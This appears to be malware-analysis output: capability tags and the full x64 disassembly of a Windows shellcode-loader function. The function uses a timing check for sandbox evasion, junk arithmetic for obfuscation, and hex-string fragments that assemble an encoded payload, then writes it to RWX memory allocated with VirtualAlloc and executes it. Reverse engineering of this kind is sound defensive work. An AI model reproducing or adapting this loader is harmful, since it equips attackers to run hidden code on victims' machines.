Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x628
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5c0], ecx
mov qword [rbp + 0x5c8], rdx
call fcn.140002440
call sub.msvcrt.dll_clock
mov dword [rbp + 0x59c], eax
mov dword [0x14001a014], 0
mov ecx, 0x30d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x598], eax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov ecx, 0x740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x590], rax
mov dword [0x14001a014], 0
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x30c
jle 0x14000235d
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x370
jg 0x14000235d
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rcx, str.TxMe
call fcn.140001583
lea rax, str.90310a0880d08a
mov qword [rbp + 0x588], rax
mov dword [0x14001a010], 0
lea rax, str.7760545f64d455457d54460fc40807f0829cf7626372328f7dc2c520007d6f8679a031
mov qword [rbp + 0x580], rax
mov dword [0x14001a014], 0
lea rax, str.b54b2c0f300081288f0c9d8b61801091480c05150691189108ffe96cf50da60a0d11b99
mov qword [rbp + 0x578], rax
mov dword [0x14001a014], 0
lea rax, str.84258f808946f70210ff410734dba5b2418bdd152df002c10f7b0644fefebce7b9f505c630
mov qword [rbp + 0x570], rax
mov dword [0x14001a010], 0
lea rax, str.7c6262101cdb5e
mov qword [rbp + 0x568], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.978e4f717797081001a33a11a401350ffe19004d544bc3c4456780054d34c4efddd44d4455e4ff66e8f4c337040344
mov qword [rbp + 0x560], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.e58485d85808b08dcf5bc8080045a82ba1a0a2a3816247326632673533738143fb6b6326ff69261bb5ccaf264f2087ca7b
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.d8c7844c004554db41c80800f32308062b80
mov qword [rbp + 0x550], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.71c111208008000b811819811c0011af1ff9e997811a90801315b9d02f9a9a010e59f2a55fc40e54e8db
mov qword [rbp + 0x548], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.0641e52a23d0ae8950e43278be6385dfaf0f22b295306efaa8d80e38093a6f5161bae3159
mov qword [rbp + 0x540], rax
mov dword [0x14001a010], 0
lea rax, str.8008389892358580d406fc456885436c05
mov qword [rbp + 0x538], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.2d180482e803c34350814d544f545668f033cba080c0bd443c4fc0f6340944f
mov qword [rbp + 0x530], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.5289c0ee407b7ef14a8c9bf174262663236236726
mov qword [rbp + 0x528], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.29320129e294f56933
mov qword [rbp + 0x520], rax
mov dword [0x14001a010], 0
lea rax, str.fc3e41be1db0627649fe6e829bbdbb00a9880f98c4c40f333c81158b2a81111018b07b031
mov qword [rbp + 0x518], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.1811c589b011888299d759161d9170919aaf82121b6a1030068a
mov qword [rbp + 0x510], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.f9d5df198f05e0c42b95afd3e51a9534b50e0e9005e0b106e7c877b50
mov qword [rbp + 0x508], rax
mov dword [0x14001a010], 0
lea rax, str.66ea6c3069e0eb79cc9f5a6d44a99
mov qword [rbp + 0x500], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.efa1004898096807080f540a4e5544574474c48008464454d4cc0444048055855e677442c444f0c
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.0465f8dc3b346b00e048dfc0d0f0e828b574dff3136b485636367243642625630bbf2a771ff
mov qword [rbp + 0x4f0], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.515abe6c8a9e6713789e087d7edc
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.c4b3ff044054e42884707507230a8012802ba9c012b8b2848
mov qword [rbp + 0x4e0], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.b6969913844cbb8e131a2ae46179210f31b11769190ae80a0090599f16f180
mov qword [rbp + 0x4d8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.32fd897a02a7a1d07e074cff109b9e6eb440a36893bedc6ce50dbc05e76250eb86eced6bf5aed31060010
mov qword [rbp + 0x4d0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.357109954b5808ee068f4586284c02e
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.5440787184c4c004082480454e4410b05b74d55d94b558cc350e285100847f8f31f040bffd696
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.c7cc3422f990676266442653337620bf8268fec736b73a928b1191090e71324c5ae040bdb500b0ed4f04edb8d55e322834
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.10b208d12c2d2c2550848fd1d1c4b084489ac08b0901ac81015918119f182
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.8b533f0091a18fd8b000bff9b2094030c10cab15ec1d0d3074064299df10ca246cb1
mov qword [rbp + 0x4a8], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.91c065917af5a70c2
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.8ed91a63f8cb6e5200905f89002f667803777ce55432e37c4f34244852844434eb49465c04b4470ef63e3c53
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.9667552360cbfd9751d0261c8cbba3ca44f80f65c3b
mov qword [rbp + 0x490], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x98
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rax, qword [rbp + 0x590]
lea rdx, [0x14001b7bc]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x488], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x488]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400018bc
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4d6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x480], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x480]
mov r8d, 0x4d6
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x480]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add eax, edx
mov edx, eax
lea rcx, [0x14001b7bf]
call fcn.140001583
jmp 0x14000237f
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rcx, str.TxMe
call fcn.140001583
nop
add rsp, 0x628
pop rdi
pop rbp
ret